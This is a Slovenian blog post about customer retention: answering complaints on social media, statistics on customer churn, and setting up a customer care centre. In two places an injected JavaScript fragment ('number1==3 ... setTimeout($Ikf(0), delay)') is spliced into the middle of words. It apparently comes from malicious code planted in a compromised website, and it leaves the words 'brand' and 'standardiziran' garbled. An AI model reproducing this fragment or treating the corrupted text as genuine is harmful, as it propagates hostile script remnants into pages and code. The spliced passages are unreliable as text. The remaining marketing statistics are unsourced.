fbpx

Pridobiti novo stranko stane 5 krat toliko kot obdržati staro

Pridobiti novo stranko stane 5 krat toliko kot obdržati staro

Zgradite dober odnos z vašimi strankami

Stranke, nezadovoljne z storitvijo hkrati pa še z občutkom, da se jih ne sliši ali pa da se jih preprosto ignorira, za širjenje svojega nezadovoljstva zelo pogosto uporabijo kar socialna omrežja. Nezadovoljni kot so, ciljajo na čim širši doseg in čim hitrejši učinek. Problem pa nastane, ker podjetja po navadi socialna omrežja uporabljajo samo kot oglaševalsko orodje. Svoje sledilce zasipajo z oglaševalskimi objavami, hkrati pa popolnoma spregledajo tiste sledilce, ki jim poizkušajo nekaj povedati.

V sektorju potrošniških dobrin je produkt tisti, ki predstavlja nek »brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and«, v storitvenem sektorju pa je to sama izkušnja uporabnika z podjetjem, oz. odnos, ki ga ima to podjetje do svojih strank. Ko se ta odloči, da poda negativen komentar na socialnih omrežjih, je to po navadi šele takrat, ko je že poizkušala stopiti v kontakt z podjetjem (ali preko email-a, preko telefona ali preko obrazca na strani), ampak ni uspela doseči kar je želela. Ko torej stranke svoje mnenje izrazijo na socialnem omrežju, so po navadi že zelo razburjene. Ignorirati jih še na tej točki, se lahko še kako hitro razširi v vsesplošno nezadovoljstvo in ima v dobi interneta zelo negativen vpliv na podjetje/blagovno znamko.

Vsakemu podjetju se zgodi, da občasno naredi kakšno napako, tudi takšno, ki jo občutijo stranke. To je dejstvo. Tisto kar šteje je, kako se odzove v takšnih trenutkih. Poslušati stranke, jim dati vedeti, da jih ceni, da jim poizkuša pomagati je tisto, s čimer lahko podjetje negativno izkušnjo spreobrne v pozitivno. V nasprotnem primeru, pa lahko ignoriranje zelo negativno vpliva na podjetje. Privede do širjenja negativnega mnenja na socialnih omrežjih. Obvladovanje takšnega stanja pa je praktično nemogoče.

V povprečju pridobitev nove stranke stane 5 krat toliko, kot zadržati staro

Zato je še kako pomembno poslušati obstoječe stranke in graditi dober odnos z njimi. Raziskave pravijo, da 96% nezadovoljnih strank preprosto samo odide in niti ne poizkuša izraziti svojega nezadovoljstva. Velika večina takšnih odhodov pa se zgodi zelo kmalu po prvi uporabi produkta ali koriščenju storitve. Aktivno spremljanje strank na tej točki in hitra obdelava pritožb je za podjetje torej ključ to uspeha.

Kakšna pa je cena, če podjetje ta del preprosto ignorira? Raziskave pravijo, da imajo objave na socialnem omrežju direkten vpliv kar na 96% potrošnikov. Še bolj pomembne podatek pa je ta, da jih kar 83% opusti nakup, v kolikor na socialnih omrežjih opazijo nezadovoljstvo z izdelkom/storitvijo. Nasprotno pa širjenje pozitivne izkušnje vodi do povečanja prodaje za med 20% in 40% in predstavlja nezanemarljivo prednost pred konkurenco. Prebeg strank k konkurenci je večinoma povezano z nezadovoljstvom nad odnosom podjetja do strank in ne toliko z samo kvaliteto produkta/storitve. Samo 15% strank namreč odide k konkurenci zaradi nezadovoljstva z produktom/storitvijo, kar 65% pa zaradi odnosa, ki ga ima to podjetje do svojih strank.

Rešitev je dober Customer Care Center

Skratka ko nekdo »povzdigne glas« na socialnih omrežjih je to zato, ker želi biti slišan, ker želi, da se ga razume in se mu pomaga. Žal v resničnem svetu vse prepogosto naleti na neoseben, standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardiziran avtomatski odziv. Rešitev je torej vzpostavitev oddelka, ki je namenjen osebnemu, hitremu in kvalitetnemu reševanju pritožb. Obstaja mnogo orodij, ki so namenjena ravno temu. Izogibati se avtomatskim odzivom na pritožbe je dober začetek. Bolje je z osebnimi odzivi pokazati nekaj empatije in razumevanja težav stranke. Vzpodbujanje zaposlenih, da pri delu s strankami črpajo iz lastnih izkušenj je prav tako lahko dober prvi korak in predstavlja razliko med »dobrim« in »odličnim« reševanjem pritožbe. Spremljanje razprav na socialnih omrežjih je nujno, prav tako skrbno beleženje povratnih informacij, tako pozitivnih kot negativnih in ukrepanje, ko je to potrebno. S takšnim delom podjetje gradi dober odnos z obstoječimi strankami in preprečuje, da odidejo k konkurenci.

0 Komentarjev

Odgovori

Vaš e-naslov ne bo objavljen. * označuje zahtevana polja

*